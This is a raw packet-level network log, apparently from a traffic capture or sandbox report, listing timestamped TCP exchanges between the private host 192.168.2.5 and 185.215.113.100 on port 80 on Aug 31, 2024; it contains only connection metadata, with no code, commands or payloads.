Aug 31, 2024 10:14:06.073472977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.073497057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.073514938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.074002028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.074050903 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.074419022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.074480057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.074546099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.074589968 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.074637890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.074680090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.074769974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.074810982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.074845076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.074855089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.074893951 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.074903011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.074949980 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075088024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075102091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075129986 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075145006 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075160980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075170994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075197935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075202942 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075212955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075221062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075232983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075243950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075243950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075253010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075274944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075289011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075320959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075330973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075361013 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075382948 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075386047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075397015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075416088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075426102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075432062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075447083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075449944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075470924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075496912 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075505972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075516939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075535059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075551033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075558901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075581074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.075963020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075974941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.075994968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076014996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076016903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076028109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076040983 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076047897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076067924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076092958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076204062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076215029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076231956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076256037 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076282978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076545000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076555967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076575041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076591015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076597929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076598883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076626062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076641083 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076687098 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076736927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076738119 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076746941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076766014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.076775074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076786995 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.076811075 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.080755949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.080765009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.080790043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.080799103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.080806971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.080816031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.080838919 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.080862045 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.080866098 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.080873966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.080892086 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.080904961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.080930948 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.080954075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.080961943 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.080996990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081018925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081027985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081046104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081053972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081056118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081073046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081094980 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081320047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081362963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081366062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081371069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081399918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081407070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081414938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081415892 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081434011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081442118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081455946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081475019 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081517935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081561089 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081583023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081589937 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081621885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081631899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081631899 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081648111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081656933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081670046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081686020 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081691027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081698895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081717014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081726074 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081729889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081746101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081753016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.081756115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081780910 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.081798077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.346993923 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.351908922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:07.153472900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:07.160773993 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:07.317011118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:07.321856022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:08.250298023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:08.250391006 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:08.852318048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:08.857120991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:09.647195101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:09.647356987 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:09.975508928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:09.980490923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.216993093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217006922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217025995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217061996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.217077971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.217107058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217114925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217133045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217142105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217144012 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.217158079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217168093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217170000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.217181921 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217191935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217206955 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.217210054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217220068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217225075 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.217241049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217248917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.217252016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.217281103 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.217299938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366198063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366210938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366230011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366239071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366256952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366303921 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366312981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366333008 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366383076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366389990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366389990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366389990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366390944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366421938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366606951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366637945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366647959 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366648912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366679907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366682053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366688967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366693974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366713047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366720915 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366739035 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366739035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366749048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366756916 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366784096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366903067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366914034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366940022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366950989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366951942 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366970062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.366977930 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.366987944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.367011070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.367013931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.367017031 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.367023945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.367043018 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.367053986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.367064953 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.367072105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.367100000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.367111921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515270948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515320063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515332937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515337944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515360117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515373945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515374899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515386105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515403986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515413046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515425920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515444994 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515501022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515511036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515531063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515542030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515542984 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515577078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515579939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515600920 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515610933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515618086 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515641928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515645981 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515659094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515681028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515681982 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515702963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515703917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515712976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515713930 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515731096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515738010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515762091 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515767097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515845060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515855074 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515873909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515885115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515897036 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515916109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515917063 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515938044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515948057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515954018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515966892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515974045 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.515983105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.515991926 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516000032 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516009092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516010046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516020060 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516026974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516038895 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516043901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516053915 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516072035 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516077042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516094923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516138077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516196012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516205072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516223907 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516233921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516235113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516247034 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516263962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516450882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516486883 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516515017 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516536951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516556025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516556025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516566992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516571999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516591072 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516592979 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516602039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516607046 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516622066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516628027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516637087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516640902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516659975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516664028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516669989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516680002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516685963 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516705990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516725063 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516787052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516798019 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516819000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516828060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516839027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516853094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516864061 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516897917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516920090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516931057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516949892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.516962051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.516983032 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:10.517004967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.517021894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.517041922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:10.517051935 CEST	49704	80	192.168.2.5	185.215.113.100
